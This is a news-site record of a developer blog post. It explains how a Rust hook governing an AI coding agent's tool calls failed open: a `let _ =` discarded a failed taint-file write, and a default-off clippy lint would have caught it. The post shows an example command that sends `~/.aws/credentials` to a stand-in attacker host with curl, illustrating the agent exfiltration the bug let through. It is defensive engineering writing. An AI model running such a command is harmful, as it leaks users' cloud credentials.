{"slug": "the-lint-that-would-have-caught-it-is-off-by-default", "title": "The Lint That Would Have Caught It Is Off by Default", "summary": "A Rust workspace's AI coding agent hook failed to enforce a security rule because the `clippy::let_underscore_must_use` lint is off by default, allowing a session that read untrusted data to reach the network and exfiltrate credentials. The team at the unnamed company found that `let _ =` suppresses `unused_must_use` and the restriction lint is not enabled by default, leading to 254 passing tests and a clean `clippy -D warnings` while the vulnerability existed. They now pin the Rust toolchain to CI's version (1.97.1) and triage the 35 hits from the lint, keeping at least one intentional suppression.", "body_md": "# The Lint That Would Have Caught It Is Off by Default\n\n`clippy::let_underscore_must_use`\n\nis a `restriction`\n\nlint. It isn’t in `all`\n\n, it\nisn’t in `pedantic`\n\n, it isn’t in `nursery`\n\n. You get it only by naming it.\n\nWe found out why that matters the expensive way. We ship a hook that decides whether an AI coding agent’s next tool call is allowed, and one of its rules is that a session which has read untrusted data can’t reach the network. Hook invocations are separate processes, so that mark is a file. Four characters meant it was never written.\n\nThe code that wrote it:\n\n``` js\nlet _ = std::fs::create_dir_all(state_dir);\nif let Ok(mut f) = std::fs::File::create(&taint_file) {\n    let _ = writeln!(f, \"tainted by {tool}\");\n}\n```\n\nWith a read-only state directory the mark went nowhere. Every later call read back\n“clean”, and a `WebFetch`\n\nfollowed by `curl https://evil.example -d @~/.aws/credentials`\n\nwas permitted. At the time: 254 tests passing, `clippy -D warnings`\n\nclean, zero\n`unsafe`\n\nin the workspace.\n\n## Why clippy said nothing\n\nReduced to the smallest thing that reproduces it:\n\n``` js\nuse std::io::Write;\nfn main() {\n    let _ = std::fs::create_dir_all(\"/tmp/x\");\n    if let Ok(mut f) = std::fs::File::create(\"/tmp/x/mark\") {\n        let _ = writeln!(f, \"tainted\");\n    }\n}\n```\n\n`cargo clippy -- -D warnings`\n\nexits 0.\n\nThat is correct behaviour, which is the annoying part. `let _ =`\n\nis the\n*sanctioned* way to discard a `#[must_use]`\n\nvalue, so `unused_must_use`\n\nis\ndeliberately silent. The suppression is doing exactly what it says on the tin.\nThere is no bug in clippy here.\n\nThe lint from the top of this post does catch it:\n\n``` bash\n$ cargo clippy -- -W clippy::let_underscore_must_use\nwarning: non-binding `let` on an expression with `#[must_use]` type\n```\n\n`restriction`\n\nis the “these are situational, pick deliberately” bucket, which is a\nreasonable place to put it. The consequence is just worth being explicit about: if\nyou turn on everything most people turn on, you still don’t have this.\n\n## Is it practical, or does it drown you?\n\nOn our workspace, roughly 20k lines across 10 crates, it produces **35 hits**.\nThat is a morning’s triage, not noise:\n\n```\n  7  cli-harness/src/mcp_gateway.rs\n  6  cli-harness/src/mock_jira.rs\n  5  agent-core/src/orchestrator.rs\n  3  trace-store/src/approval.rs\n  2  cli-harness/src/init.rs\n  1  cli-harness/src/serve.rs\n```\n\nThe conclusion we’d have reached a week ago is that the fix is to ban `let _ =`\n\n.\nIt isn’t. We still have all 35, and at least one is exactly right:\n\n```\n// nix's killpg rather than a raw libc::killpg, so the workspace stays free of `unsafe`\nlet _ = killpg(pgid, Signal::SIGKILL);\n```\n\nIf the process group is already gone there is genuinely nothing to do. The lint can’t tell you which ones are wrong. What it does is turn each one from a default into a decision somebody took.\n\n## The distinction that actually cost us\n\nWe fail open deliberately. A governance hook that bricks your editor is one people uninstall, so a hook that can’t reach a decision exits quietly and lets the session continue. We still believe that.\n\nIt is right for a failure to *reach* a decision and catastrophic for a failure to\n*record* one, and at the call site the two are the same shape: a `Result`\n\nyou\ncould ignore. Any tool that persists state between invocations has this available\nto it.\n\n## A cheaper one from the same review\n\nOur CI used `dtolnay/rust-toolchain@stable`\n\n. The dev machine’s `stable`\n\nwas last\nupdated in May 2025. CI was on 1.97.1. Fifteen months apart, so “clippy is clean”\nwas true locally and false in CI, and a lint error reached `main`\n\nbecause the local\ncheck could not see it.\n\nThe fix is four lines:\n\n```\n[toolchain]\nchannel = \"1.97.1\"\ncomponents = [\"rustfmt\", \"clippy\"]\n```\n\nSet `channel`\n\nto whatever CI is already running green. Pinning then changes nothing\nabout CI and upgrades the developer instead, which is the direction you want.\nBump it deliberately and fix the new lints in the same commit as the bump.\n\n*This came out of a review of our own repository. The other four findings are in\nEvery Check Was Green. The tool is\nai2rules, MIT/Apache-2.0.*\n\n*Written with AI assistance: drafted with Claude Code, then edited and checked by\nhand. The review, the findings and the fixes are ours. Saying so up front is\ncheaper than being asked.*", "url": "https://wpnews.pro/news/the-lint-that-would-have-caught-it-is-off-by-default", "canonical_source": "https://ai2rules.dev/blog/the-lint-that-was-off-by-default/", "published_at": "2026-08-15 00:00:00+00:00", "updated_at": "2026-08-15 20:12:25.989085+00:00", "lang": "en", "topics": ["ai-safety", "developer-tools"], "entities": ["clippy", "Rust", "dtolnay/rust-toolchain"], "alternates": {"html": "https://wpnews.pro/news/the-lint-that-would-have-caught-it-is-off-by-default", "markdown": "https://wpnews.pro/news/the-lint-that-would-have-caught-it-is-off-by-default.md", "text": "https://wpnews.pro/news/the-lint-that-would-have-caught-it-is-off-by-default.txt", "jsonld": "https://wpnews.pro/news/the-lint-that-would-have-caught-it-is-off-by-default.jsonld"}}